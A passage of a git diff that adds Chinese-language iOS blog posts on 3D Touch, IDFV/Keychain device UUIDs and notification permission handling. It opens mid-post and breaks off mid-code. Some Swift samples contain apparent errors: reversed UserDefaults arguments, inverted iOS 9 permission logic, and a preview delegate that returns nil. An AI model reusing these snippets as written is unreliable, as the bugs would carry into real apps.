viewDidLoad() { + super.viewDidLoad() + if is3DTouchPreview { + //若為預覽視窗時...例如:變全螢幕、隱藏工具列 + } else { + //完整模式時照正常顯示 + } +} +``` + +A:列表視窗,可以是 UITableView 或 UICollectionView: +```swift +class AViewController:UIViewController { + //註冊能3D Touch 的 View + override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) { + super.traitCollectionDidChange(previousTraitCollection) + if traitCollection.forceTouchCapability == .available { + //TableView: + registerForPreviewing(with: self, sourceView: self.TableView) + //CollectionView: + registerForPreviewing(with: self, sourceView: self.CollectionView) + } + } +} +extension AViewController: UIViewControllerPreviewingDelegate { + //3D Touch放開後,要做的處理 + func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) { + + //現在要直接跳轉的該頁面了,所以將ViewController的預覽模式參數取消: + if var viewControllerToCommit = viewControllerToCommit as? UIViewControllerPreviewable { + viewControllerToCommit.is3DTouchPreview = false + } + self.navigationController?.pushViewController(viewControllerToCommit, animated: true) + } + + //控制3D Touch的Cell位置,欲顯示的ViewController + func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? { + + //取得當前點的indexPath/cell實體 + //TableView: + guard let indexPath = TableView.indexPathForRow(at: location),let cell = TableView.cellForRow(at: indexPath) else { return nil } + //CollectionView: + guard let indexPath = CollectionView.indexPathForItem(at: location),let cell = CollectionView.cellForItem(at: indexPath) else { return nil } + + //欲顯示的ViewController + let targetViewController = UIStoryboard(name: "StoryboardName", bundle: nil).instantiateViewController(withIdentifier: "ViewControllerIdentifier") + + //背景虛化時保留區域(一般為點擊位置),附圖1 + previewingContext.sourceRect = cell.frame + + //3D Touch視窗大小,預設為自適應,不需更改 + //要修改請用:targetViewController.preferredContentSize = CGSize(width: 0.0, height: 0.0) + + //告知預覽的ViewController目前為預覽模式: + if var targetViewController = targetViewController as? UIViewControllerPreviewable { + targetViewController.is3DTouchPreview = true + } + + //回傳nil則無任何作用 + return nil + } +} +``` + + +> **請注意!其中的註冊能3D Touch 的 View 這塊要放在 traitCollectionDidChange 之中而非 “viewDidLoad” \( [請參考此篇內容](https://stackoverflow.com/questions/30007701/view-traitcollection-horizontalsizeclass-returning-undefined-0-in-viewdidload){:target="_blank"} \)** + + + + + +> 關於要加放在哪裡這塊我踩了許多雷,網路有些資料寫viewDidLoad、有的寫在cellforItem中,但這兩個地方都會出現偶爾失效或部分cell失效的問題。 + + + + + + +![附圖1 背景虛化保留區示意圖](/assets/1ca246e27273/1*AAFevro2x7s9J6yRshAGtg.png) + +附圖1 背景虛化保留區示意圖 + +如果您需要上滑後在下方加入選項選單請在 **B** 之中加入,是B 是B 是B哦! + + +![](/assets/1ca246e27273/1*L7VwD_lyG86eXzTzgIuELQ.png) + +```swift +override var previewActionItems: [UIPreviewActionItem] { + let profileAction = UIPreviewAction(title: "查看商家資訊", style: .default) { (action, viewController) -> Void in + //點擊後的操作 + } + return [profileAction] +} +``` + +回傳空陣列表示不使用此功能。 + +**完成!** +### 2\. APP 捷徑啟動 +#### 第一步 + +在 info\.plist 中加入 UIApplicationShortcutItems 參數,類型 Array + +並在其中新增選單項目\(Dictionary\),其中Key\-Value的設定對應如下: +- \[必填\] UIApplicationShortcutItemType : 識別字串,在AppDelegate中做判斷使用 +- \[必填\] UIApplicationShortcutItemTitle : 選項標題 +- UIApplicationShortcutItemSubtitle : 選項子標題 + + + +![](/assets/1ca246e27273/1*PlbW5bVYGkN2olZC9WAvHw.png) + +- UIApplicationShortcutItemIconType : 使用系統圖標 + + + +![參考自 [此篇文章](https://qiita.com/kusumotoa/items/f33c89f150cd0937d003){:target="_blank"}](/assets/1ca246e27273/1*S3dbMWNnTvhdt-NlxAQ2Tw.png) + +參考自 [此篇文章](https://qiita.com/kusumotoa/items/f33c89f150cd0937d003){:target="_blank"} +- UIApplicationShortcutItemIconFile : 使用自定義圖標\(size:35x35,單色\),與UIApplicationShortcutItemIconType擇ㄧ使用 +- UIApplicationShortcutItemUserInfo : 更多附加資訊EX: \[id:1\] + + + +![我的設定如上圖](/assets/1ca246e27273/1*cIIVrNDdziBVJn4z_QsLJg.png) + +我的設定如上圖 +#### 第二步 + +在AppDelegate中新增處理的 Function +```swift +func application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) { + var info = shortcutItem.userInfo + + switch shortcutItem.type { + case "searchShop": + // + case "topicList": + // + case "likeWorksPic": + // + case "marrybarList": + // + default: + break + } + completionHandler(true) +} +``` + +**完成!** +### 結語 + +在APP中加入 3D Touch的功能並不難,對使用者來說也會覺得很貼心❤;可以搭配設計操作增加使用者體驗;但目前就只有上述兩個功能可做在加上iPhone 6s以下/iPad/iPhone XR都不支援3D Touch所以實際能做的功能又更少了,只能以輔助、增加體驗為主。 +#### p\.s\. + + +![如果你測的夠細會發現以上效果,在CollectionView滑動中圖有部分已經滑出畫面這時按壓就會出現以上情況😅](/assets/1ca246e27273/1*LBgSqm8CTdBPycGnuYNMkA.png) + +如果你測的夠細會發現以上效果,在CollectionView滑動中圖有部分已經滑出畫面這時按壓就會出現以上情況😅 + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E6%8F%90%E5%8D%87%E4%BD%BF%E7%94%A8%E8%80%85%E9%AB%94%E9%A9%97-%E7%8F%BE%E5%9C%A8%E5%B0%B1%E7%82%BA%E6%82%A8%E7%9A%84-ios-app-%E5%8A%A0%E4%B8%8A-3d-touch-%E5%8A%9F%E8%83%BD-swift-1ca246e27273){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-25-a4bc3bce7513.md b/_posts/zmediumtomarkdown/2018-10-25-a4bc3bce7513.md new file mode 100644 index 000000000..3310b4a9e --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-25-a4bc3bce7513.md @@ -0,0 +1,151 @@ +--- +title: "iOS UUID 的那些事 (Swift/iOS ≥ 6)" +author: "ZhgChgLi" +date: 2018-10-25T14:26:20.002+0000 +last_modified_at: 2024-04-13T07:21:43.386+0000 +categories: "ZRealm Dev." +tags: ["iplayground","swift","ios-app-development","uuid","idfv"] +description: "iPlayground 2018 回來 & UUID那些事" +image: + path: /assets/a4bc3bce7513/1*gEmmuDOD92d2b2fLp4AKsw.jpeg +render_with_liquid: false +--- + +### iOS UUID 的那些事 \(Swift/iOS ≥ 6\) + +iPlayground 2018 回來 & UUID那些事 + +### 前言: + +上週六、日跑去參加 [iPlayground](https://iplayground.io/){:target="_blank"} Apple 軟體開發者研討會,這個活動訊息是同事PASS過來的,去之前我也不清楚這個活動。 + + +![](/assets/a4bc3bce7513/1*gEmmuDOD92d2b2fLp4AKsw.jpeg) + + +兩天下來,整題活動跟時程安排流暢,議程內容: +1. 趣味的:腳踏車、凋零的Code、iOS/API 演進史、威利在哪裡\(CoreML Vision\) +2. 實用的:測試類 \(XCUITest、依賴注入\)、SpriteKit 做動畫效果的替代方案、GraphQL +3. 真功夫:深入拆解Swift、iOS 越獄/Tweak開發、Redux + + +腳踏車Project 印象深刻,用iPhone手機當感測器感測腳踏車踏板轉動,直接在台上騎腳踏車切換投影片\(前輩主要目標是要做開源版zwift,也分享了許多地雷,例如Client/Sever通信、延遲問題、磁場干擾\) + +凋零的Dirty Code;聽得心有戚戚,在心裡會心一笑;技術債就是這樣一直累積下來的,開發時程趕,所以用架構性較差的快速做法,後人接手改也沒時間重構,就越積越多;到最後可能真的只有打掉這條路了 + +測試類\(Design Patterns in XCUITest\) [KKBOX的前輩](https://www.facebook.com/TestingWithKK/){:target="_blank"} ,完全沒藏私直接公開他們的作法及程式範例細節還有遇到的雷、解決辦法,這堂也是對我們工作上最有幫助的項目;測試這塊是我一直想加強的部分,可以回去好好研究研究 + +Lighting Talk的部分在台下聽得也好想上去分享😂 下次要提早做好準備了\! + +會後的offical party,酒水食物場地都很有誠意,聽前輩們的真心話吐露,很輕鬆有趣之外還吸收許多職場軟實力. + + +![台大後台咖啡](/assets/a4bc3bce7513/1*Xwk_96lVKcMKgeL7IOC70g.jpeg) + +台大後台咖啡 + +我才知道原來這是第一屆,真的有榮幸能夠參加,所有工作人員跟講者辛苦了! + +去參加研討會的目的不外乎就是要: **增加廣度** ,吸收新知、了解生態、碰一些平常不會接觸的項目跟 **增加深度** ,如果是自己已經摸過的項目就是去聽聽看有沒有遺漏的地方或是還有其他做法沒發現. + +抄了許多筆記可以回來慢慢研究回味。 +### UUID的那些事 + +因為我聽完回去後馬上實際應用到APP上;這堂是由Zonble前輩主講,我聽到從iPhone OS 2寫到iOS 12我就跪了;由於入行較晚,我是從iOS 11/Swift 4 才開始寫,所以沒碰到那些因為蘋果修改API的動亂時期。 + +想想UUID從可以取得到封鎖也是蠻合理的;如果是用在良善的地方:辨識使用者裝置、廣告或第三方運用唯一性去做廣告操作;但如果有廠商想做惡,也可以透過這個機制反查,知道你這隻手機的主人是怎麼樣的人?\(例如有裝旅遊\+台北等公車+BMW APP\+嬰兒照護 就能推測你很常出國家裡有小孩而且住在台北 之類的資訊\)再加上你在APP上輸入的個資,能拿去做什麼應用不敢想像 + +但這其中也波及到很多正當守法的用戶,像是本來用UUID當使用者的資料解密KEY或用UUID當裝置判斷都受到很大的影響;真佩服那個時期的工程師前輩們,這些影響老闆跟使用者一定會狂罵,要急中生智找其他替代辦法. +#### 替代方案: + +本篇文章以取得UUID辨識裝置唯一值為主,如果是要找知道使用者裝了哪些APP的替代方案可參考以下關鍵字搜尋做法: [UIPasteboard pasteboardWithName: create: \(運用剪貼簿在APP間共享\)](https://link.medium.com/YTheNPnHH7){:target="_blank"} 、canOpenURL: info\.plist LSApplicationQueriesSchmes \(運用canOpenURL檢查APO有無安裝,要在info\.plist列舉,最多50筆\) +1. 用MAC Address當UUID,但後來也被BAN了 +2. [Finger Printing \(Canvas/User\-Agent…\)](https://medium.com/@ravielakshmanan/web-browser-uniqueness-and-fingerprinting-7eac3c381805){:target="_blank"} :沒研究,不過這項目主要拿來讓safari跟app能產生同樣的UUID, [Deferred Deep Linking](https://www.jianshu.com/p/fa48387d56ea){:target="_blank"} \(延遲深度連結\)用 +[AmIUnique?](https://amiunique.org/){:target="_blank"} +3. [**ID** entifier **F** or **V** endor](https://www.jianshu.com/p/b810d7e007ad){:target="_blank"} \(IDFV\):目前主流的解決方案🏆 +概念是蘋果會根據你的Bundle ID前輟為使用者產生UUID,相同的Bundle ID前輟會產生相同的UUID,例如:com\.518\.work/com\.518\.job 同個裝置會得到相同的UUID +如同原文ID For Vendor,相同的前輟蘋果認為即是相同廠商的APP,所以共享UUID是允許的。 + +#### **ID** entifier **F** or **V** endor \(IDFV\): +```swift +let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString +``` + +**唯需注意:當所有同Vendor的APP都移除後再重裝就會產生新的UUID \(** com\.518\.work跟com\.518\.job都被刪除,再裝回com\.518\.work這時就會產生新的UUID **\)** +**同理如果你只有一個APP,刪掉重裝就會產生新的UUID** + +因為這個特性,我們公司的其他APP是使用Key\-Chain來解決這個問題,聽了講者前輩的指點也驗證了這個做法是正確的! + +**流程如下:** + + +![Key\-Chain UUID欄位有值時取值,無則取IDFA的UUID值並回寫](/assets/a4bc3bce7513/1*-8rufG1QW-J5tn6ZadT17A.jpeg) + +Key\-Chain UUID欄位有值時取值,無則取IDFA的UUID值並回寫 + +Key\-Chain 寫入方式: +```swift +if let data = DEVICE_UUID.data(using: .utf8) { + let query = [ + kSecClass as String : kSecClassGenericPassword as String, + kSecAttrAccount as String : "DEVICE_UUID", + kSecValueData as String : data ] as [String : Any] + + SecItemDelete(query as CFDictionary) + SecItemAdd(query as CFDictionary, nil) +} +``` + +Key\-Chain 讀取方式: +```swift +let query = [ + kSecClass as String : kSecClassGenericPassword, + kSecAttrAccount as String : "DEVICE_UUID", + kSecReturnData as String : kCFBooleanTrue, + kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any] + +var dataTypeRef: AnyObject? = nil +let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef) +if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { + //uuid +} +``` + +如果嫌 Key\-Chain 操作太繁瑣可以自行封裝或使用第三方套件。 +#### 完整CODE: +```swift +let DEVICE_UUID:String = { + let query = [ + kSecClass as String : kSecClassGenericPassword, + kSecAttrAccount as String : "DEVICE_UUID", + kSecReturnData as String : kCFBooleanTrue, + kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any] + + var dataTypeRef: AnyObject? = nil + let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef) + if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { + return uuid + } else { + let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString + if let data = DEVICE_UUID.data(using: .utf8) { + let query = [ + kSecClass as String : kSecClassGenericPassword as String, + kSecAttrAccount as String : "DEVICE_UUID", + kSecValueData as String : data ] as [String : Any] + + SecItemDelete(query as CFDictionary) + SecItemAdd(query as CFDictionary, nil) + } + return DEVICE_UUID + } +}() +``` + +因為我在其他Extension Target也需要參照所以直接包成一個閉包參數使用 + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-uuid-%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B-swift-ios-6-a4bc3bce7513){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-11-01-ade9e745a4bf.md b/_posts/zmediumtomarkdown/2018-11-01-ade9e745a4bf.md new file mode 100644 index 000000000..2d125fa59 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-11-01-ade9e745a4bf.md @@ -0,0 +1,183 @@ +--- +title: "什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)" +author: "ZhgChgLi" +date: 2018-11-01T15:35:02.255+0000 +last_modified_at: 2024-04-13T07:23:09.956+0000 +categories: "ZRealm Dev." +tags: ["ios","swift","push-notification","ios-app-development","ios12"] +description: "UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹" +image: + path: /assets/ade9e745a4bf/1*NX0r7q5ikfoJnxWq_eGRWQ.jpeg +render_with_liquid: false +--- + +### 什麼?iOS 12 不需使用者授權就能傳送推播通知\(Swift\) — \(2019–02–06 更新\) + +UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹 + +### MurMur…… + +前陣子在改善APP推播通知允許及點擊率過低問題,做了些優化調整;最初版的時候體驗非常差,APP 安裝完一啟動就直接跳「APP想要傳送通知」的詢問視窗;想當然而關閉率非常高,根據前一篇使用 [Notification Service Extension](../cb6eba52a342/) 統計通知實際顯示數,推測按允許推播的使用者只有大約10%. + +目前調整新安裝引導流程、配合介面優化將詢問通知視窗的跳出時機調整如下: + + +![[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/ade9e745a4bf/1*Yehjud9-RMPTENiVQz4Ryg.gif) + +[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + +如果使用者還在猶豫或想使用看看再決定要不要接收通知,可按右上角「略過」,避免一開始因對APP還不熟悉而按下「不允許」造成之後也無法再詢問一去不復返的結果。 +### 進入正題 + +在做上面這個優化項目時發現 UserNotifications iOS 12 中新增一項 \.provisional 權限,翻成白話就是臨時的通知權限, **不用跳詢問通知視窗取得允許通知權限就能對使用者發送推播通知\(靜音通知\)** ,實際效果跟限制我們接著看下去。 +#### 如何要求臨時通知權限? +```swift +if #available(iOS 12.0, *) { + let center = UNUserNotificationCenter.current() + let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional] + // 可以只要求臨時權限.provisional,或是順便先要求所有要用的權限XD + // 都不會觸發顯示詢問通知視窗 + + center.requestAuthorization(options: permissiones) { (granted, error) in + print(granted) + } +} +``` + +我們將以上程式加入 AppDelegate didFinishLaunchingWithOptions 然後開啟APP,就會發現沒有跳出詢問通知視窗;這時我們去 **設定** 查看 **APP通知設定** + + +![\(圖一\) 取得靜音通知權限](/assets/ade9e745a4bf/1*MvsncOUpTTh-ZTlJAUm8fA.jpeg) + +\(圖一\) 取得靜音通知權限 + +我們就這樣默默地取得了靜音通知權限🏆 + +在程式判斷當前推播通知權限的部分新增 authorizationStatus \.provisional 項目 \(僅iOS 12之後\): +```swift +if #available(iOS 10.0, *) { + UNUserNotificationCenter.current().getNotificationSettings { (settings) in + if settings.authorizationStatus == .authorized { + //允許 + } else if settings.authorizationStatus == .denied { + //不允許 + } else if settings.authorizationStatus == .notDetermined { + //沒問過 + } else if #available(iOS 12.0, *) { + if settings.authorizationStatus == .provisional { + //目前是臨時權限 + } + } + } +} +``` + + +> **請注意!** 如果你有針對當前通知權限狀態做判斷, `settings.authorizationStatus == .notDetermined` 跟 `settings.authorizationStatus == .provisional` + + +> 都是可以再跳出通知詢問視窗問使用者允不允許接收通知的 + + + + +#### 靜音通知能幹嘛?推播如何顯示? + +先來張圖整理一下靜音通知會顯示的時機: + + +![](/assets/ade9e745a4bf/1*BZYhskEdvVLNsFvJV-SWkw.jpeg) + + +可以看到如果是靜音推播通知,APP在背景狀態下收到通知時 **不會跳出橫幅、不會有聲音提示、不能標記、不會出現在鎖定畫面,只會出現在手機解鎖狀態下下拉的通知中心之中** : + + +![](/assets/ade9e745a4bf/1*Nq6PQhG06BOrX_05i0Jb0g.jpeg) + + +可以看到您的發送的推播通知,並且會自動聚合成一個分類 + +**點擊展開後使用者可選擇:** + + +![此展開的詢問視窗只會出現在「臨時權限」時靜音推播之下](/assets/ade9e745a4bf/1*NX0r7q5ikfoJnxWq_eGRWQ.jpeg) + +此展開的詢問視窗只會出現在「臨時權限」時靜音推播之下 +1. 要「繼續」接收推播 — 「傳送重要通知」: **通知權限就全開了!通知權限就全開了!通知權限就全開了!** 真的很重要所以講三次,這時候前面程式碼要求權限那段一併要求所有權限的效果就相當顯著了。 +或維持接收靜音通知 +2. 「關閉」 — 「關閉所有通知」點擊後完全關閉推播通知(含靜音通知)。 + +#### 附註:要怎麼手動把現有的APP調成靜音通知? + +靜音通知是iOS 12對通知優化推出的新設定與臨時權限無關,只不過是程式那端拿到臨時權限就能發靜音通知;針對APP的通知要設成靜音也很簡單,方法之一就是去「設定」\-「通知」\- 找到APP 將其所有權限都關閉只留「通知中心」\(如圖ㄧ\)即是靜音通知. +或是收到APP通知時重壓/長壓展開後,點擊右上角「…」選擇傳送靜音通知亦同: + + +![](/assets/ade9e745a4bf/1*Lfx_esnpxLQ7GXVoLT710A.gif) + +#### 有了臨時權限在之後觸發跳出詢問通知視窗時: + +要求通知權限的部分拿掉 \.provisional 就能依然正常詢問使用者要不要允許接收通知: +```swift +if #available(iOS 10.0, *) { + let center = UNUserNotificationCenter.current() + let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound] + center.requestAuthorization(options: permissiones) { (granted, error) in + print(granted) + } +} +``` + + +![](/assets/ade9e745a4bf/1*Bu6H1GZPWUoAd1oSfdYi5w.jpeg) + + +按「允許」取得所有通知權限、按「不允許」關閉所有通知權限\(含本來取得的靜音通知權限\) +#### 整體流程如下: + + +![](/assets/ade9e745a4bf/1*--o4wB9gSZ3y661GiZfEEg.jpeg) + +#### 總結: + +iOS 12的這項通知貼心優化,讓使用者跟開發者之間對通知功能更容易達搭起互動的橋樑,能盡量避免一去不復返關閉通知的狀況。 + +對使用者來說,往往跳詢問通知視窗時不知該按下允許還是拒絕因為我們不知道開發者會傳什麼樣的通知給我們,可能是廣告亦可能是重要消息,未知的事物是可怕的,所以大部分的人都會先保守按下拒絕。 + +對開發者來說,我們精心準備了許多項目包含重要消息要推送給使用者知道,但就因上述問題而被使用者屏蔽,我們花費心思設計的文案就這樣白費了! + +此功能可讓開發者把握使用者剛安裝APP時的機會,設計好推播流程、內容,對使用者優先推送感興趣項目,增加使用者對此APP通知的認識度,並追蹤推播點擊率,在適當的時機再觸發詢問使用者要不要接收通知。 + +雖然能曝光的地方只有 **通知中心** 但有曝光有機會;換個角度想,我們是使用者的話,沒按允許通知,APP如果能傳一堆有橫幅\+有聲音\+還出現在解鎖畫面的通知給我,應該會覺得非常干擾惱人\(隔壁陣營就是XD\),蘋果這個做法則是在使用者與開發者之間取得了平衡。 + +目前的問題大概就是…\.iOS 12的用戶還太少🤐 +### 2019–02–06 更新實際應用: + + +> 實際應用我已「取消」實作此功能 + + + + +**為什麼?** + +因為發現在以下情況使用者會被動進入靜音推播模式,要自行手動把所有推播權限\(橫幅、聲音、標記\)打開 + + +![](/assets/ade9e745a4bf/1*ZtizO946Z5-EukrCWuCjXg.png) + + +有點尷尬,也就是說使用者如果再詢問通知權限時按否,到設定再打開,那個打開的會只有靜音通知權限;要再請使用者把下方橫幅、聲音、標記都打開有點困難,所以暫時就先取消不使用了。 +#### 延伸閱讀 +- [從 iOS 9 到 iOS 12 推播通知權限狀態處理\(Swift\)](../fd7f92d52baa/) +- [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) +- [iOS\+MacOS 使用mitmproxy 進行中間人嗅探](../46410aaada00/) +- [iOS 15 / MacOS Monterey Safari 將能隱藏真實 IP](https://medium.com/zrealm-ios-dev/ios-15-macos-monterey-safari-%E5%B0%87%E8%83%BD%E9%9A%B1%E8%97%8F%E7%9C%9F%E5%AF%A6-ip-755a8b6acc35){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E4%BB%80%E9%BA%BC-ios-12-%E4%B8%8D%E9%9C%80%E4%BD%BF%E7%94%A8%E8%80%85%E6%8E%88%E6%AC%8A%E5%B0%B1%E8%83%BD%E6%94%B6%E5%88%B0%E6%8E%A8%E6%92%AD%E9%80%9A%E7%9F%A5-swift-ade9e745a4bf){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-11-02-fd7f92d52baa.md b/_posts/zmediumtomarkdown/2018-11-02-fd7f92d52baa.md new file mode 100644 index 000000000..d0e5a614f --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-11-02-fd7f92d52baa.md @@ -0,0 +1,231 @@ +--- +title: "從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)" +author: "ZhgChgLi" +date: 2018-11-02T15:23:44.057+0000 +last_modified_at: 2024-04-13T07:25:31.183+0000 +categories: "ZRealm Dev." +tags: ["ios","push-notification","observables","ios-app-development","swift"] +description: "適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案" +image: + path: /assets/fd7f92d52baa/1*fm_hG0GuT-BhSNTEB3Ht1g.jpeg +render_with_liquid: false +--- + +### 從 iOS 9 到 iOS 12 推播通知權限狀態處理\(Swift\) + +適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案 + +### 做什麼? + +接續前一篇「 [什麼?iOS 12 不需使用者授權就能傳送推播通知\(Swift\)](https://medium.com/@zhgchgli/%E4%BB%80%E9%BA%BC-ios-12-%E4%B8%8D%E9%9C%80%E4%BD%BF%E7%94%A8%E8%80%85%E6%8E%88%E6%AC%8A%E5%B0%B1%E8%83%BD%E6%94%B6%E5%88%B0%E6%8E%A8%E6%92%AD%E9%80%9A%E7%9F%A5-swift-ade9e745a4bf?fbclid=IwAR1AKi3io4Jt-rFFgrLWEFsmA0lKYVFUD7Dw9n9LpMa2zAzJCHeGGGgn9Vs){:target="_blank"} 」提到的推播權限取得流程優化,經過上一篇Murmur部分寫的優化之後又遇到了新的需求: + + +![](/assets/fd7f92d52baa/1*fm_hG0GuT-BhSNTEB3Ht1g.jpeg) + +1. 使用者若關閉通知功能,我們能在特定功能頁面提示他去設定開啟 +2. 跳轉至設定頁後,若有打開/關閉通知的操作,回到APP要能跟著更改狀態 +3. 沒詢問過推播權限時詢問權限,有詢問過但是不允許則跳提示,有詢問過又是允許則能繼續操作 +4. iOS 9 ~ iOS 12 都要支援 + + +1~3 都還好,使用 iOS 10 之後的Framework UserNotifications 差不多都能妥善的解決,麻煩的是第4項 要能支援 iOS 9,iOS 9要使用 registerUserNotificationSettings 舊的方式處理起來並不容易;就讓我們一步一步做起吧! +### 思路及架構: + +首先宣告一個全域的 notificationStatus物件 儲存通知權限狀態 並在需要處理的頁面加上屬性監聽(這邊我使用 [Observable](https://github.com/slazyk/Observable-Swift){:target="_blank"} 做屬性變化的訂閱、可自行找適合的KVO或用Rx、ReactiveCocoa) + +並在 appDelegate 中 didFinishLaunchingWithOptions \(APP初始打開時\)、applicationDidBecomeActive \(從背景狀態回復時\)、didRegisterUserNotificationSettings \(≤iOS 9 的推播詢問處理\) +這些方法中處理檢查推播通知權限狀態並更改 notificationStatus 的值 +需要做處理的頁面就會觸發並作相對應的處理(EX: 跳出通知被關閉提示) +#### 1\. 首先宣告全域 notificationStatus 物件 +```swift +enum NotificationStatusType { + case authorized + case denied + case notDetermined +} +var notificationStatus: Observable = Observable(nil) +``` + +notificationStatus/NotificationStatusType 的四種狀態分別對應: +- nil = 物件初始化…檢測中… +- notDetermined = 未詢問過使用者要不要接收通知 +- authorized = 已詢問過使用者要不要接收通知且按「允許」 +- denied = 已詢問過使用者要不要接收通知且按「不允許」 + +#### 2\. 構建檢測通知權限狀態的方法: +```swift +func checkNotificationPermissionStatus() { + if #available(iOS 10.0, *) { + UNUserNotificationCenter.current().getNotificationSettings { (settings) in + DispatchQueue.main.async { + //注意!要切回主執行緒 + if settings.authorizationStatus == .authorized { + //允許 + notificationStatus.value = NotificationStatusType.authorized + } else if settings.authorizationStatus == .denied { + //不允許 + notificationStatus.value = NotificationStatusType.denied + } else { + //沒問過 + notificationStatus.value = NotificationStatusType.notDetermined + } + } + } + } else { + if UIApplication.shared.currentUserNotificationSettings?.types == [] { + if let iOS9NotificationIsDetermined = UserDefaults.standard.object(forKey: "iOS9NotificationIsDetermined") as? Bool,iOS9NotificationIsDetermined == true { + //沒問過 + notificationStatus.value = NotificationStatusType.notDetermined + } else { + //不允許 + notificationStatus.value = NotificationStatusType.denied + } + } else { + //允許 + notificationStatus.value = NotificationStatusType.authorized + } + } +} +``` + +**以上還沒結束!** +眼尖的朋友應該在≤ iOS 9的判斷之中發現”iOS9NotificationIsDetermined”這個自訂的UserDefaults,那它是用來幹嘛的呢? + +主因是≤iOS 9的檢測推播權限方法只能用獲取目前的權限有哪些作為判斷,若為空則代表無權限,但在沒詢問過權限的情況下也是會是空白;這時候麻煩就來了,使用者究竟是沒問過還是問過按不允許? + +這邊我使用了一個自訂的UserDefaults iOS9NotificationIsDetermined作為判斷開關,並在appDelegate的didRegisterUserNotificationSettings中加入: +```swift +//appdelegate.swift: +func application(_ application: UIApplication, didRegister notificationSettings: UIUserNotificationSettings) { + //iOS 9(含)以下,跳出詢問要不要允許通知的視窗後,按下允許或不允許都會觸發這個方法 + UserDefaults.standard.set("iOS9NotificationIsDetermined", true) + checkNotificationPermissionStatus() +} +``` + +**通知權限狀態的物件、檢測的方法都構建好後,appDelegate裡我們還要再加上…** +```swift +//appdelegate.swift +func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { + checkNotificationPermissionStatus() + return true +} +func applicationDidBecomeActive(_ application: UIApplication) { + checkNotificationPermissionStatus() +} +``` + +APP初始跟從背景返回都要再檢測一次推播狀態如何 + +以上就是檢測的部分,再來我們來看如果是未詢問該怎麼處理要求通知權限 +#### 3\. 要求通知權限: +```swift +func requestNotificationPermission() { + if #available(iOS 10.0, *) { + let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound] + UNUserNotificationCenter.current().requestAuthorization(options: permissiones) { (granted, error) in + DispatchQueue.main.async { + checkNotificationPermissionStatus() + } + } + } else { + application.registerUserNotificationSettings(UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil)) + //前面appdelegate.swift的didRegisterUserNotificationSettings會處理後續callback + } +} +``` + +檢測跟要求都處理完囉,我們來看看如何應用 +#### 4\. 應用\(靜態\) +```php +if notificationStatus.value == NotificationStatusType.authorized { + //OK! +} else if notificationStatus.value == NotificationStatusType.denied { + //不允許 + //這邊範例是跳出UIAlertController提示並點擊後可跳轉至設定頁面 + let alertController = UIAlertController( + title: "親愛的,您目前無法接收通知", + message: "請開啟結婚吧通知權限。", + preferredStyle: .alert) + let settingAction = UIAlertAction( + title: "前往設定", + style: .destructive, + handler: { + (action: UIAlertAction!) -> Void in + if let bundleID = Bundle.main.bundleIdentifier,let url = URL(string:UIApplicationOpenSettingsURLString + bundleID) { + UIApplication.shared.openURL(url) + } + }) + let okAction = UIAlertAction( + title: "取消", + style: .default, + handler: { + (action: UIAlertAction!) -> Void in + //well.... + }) + alertController.addAction(okAction) + 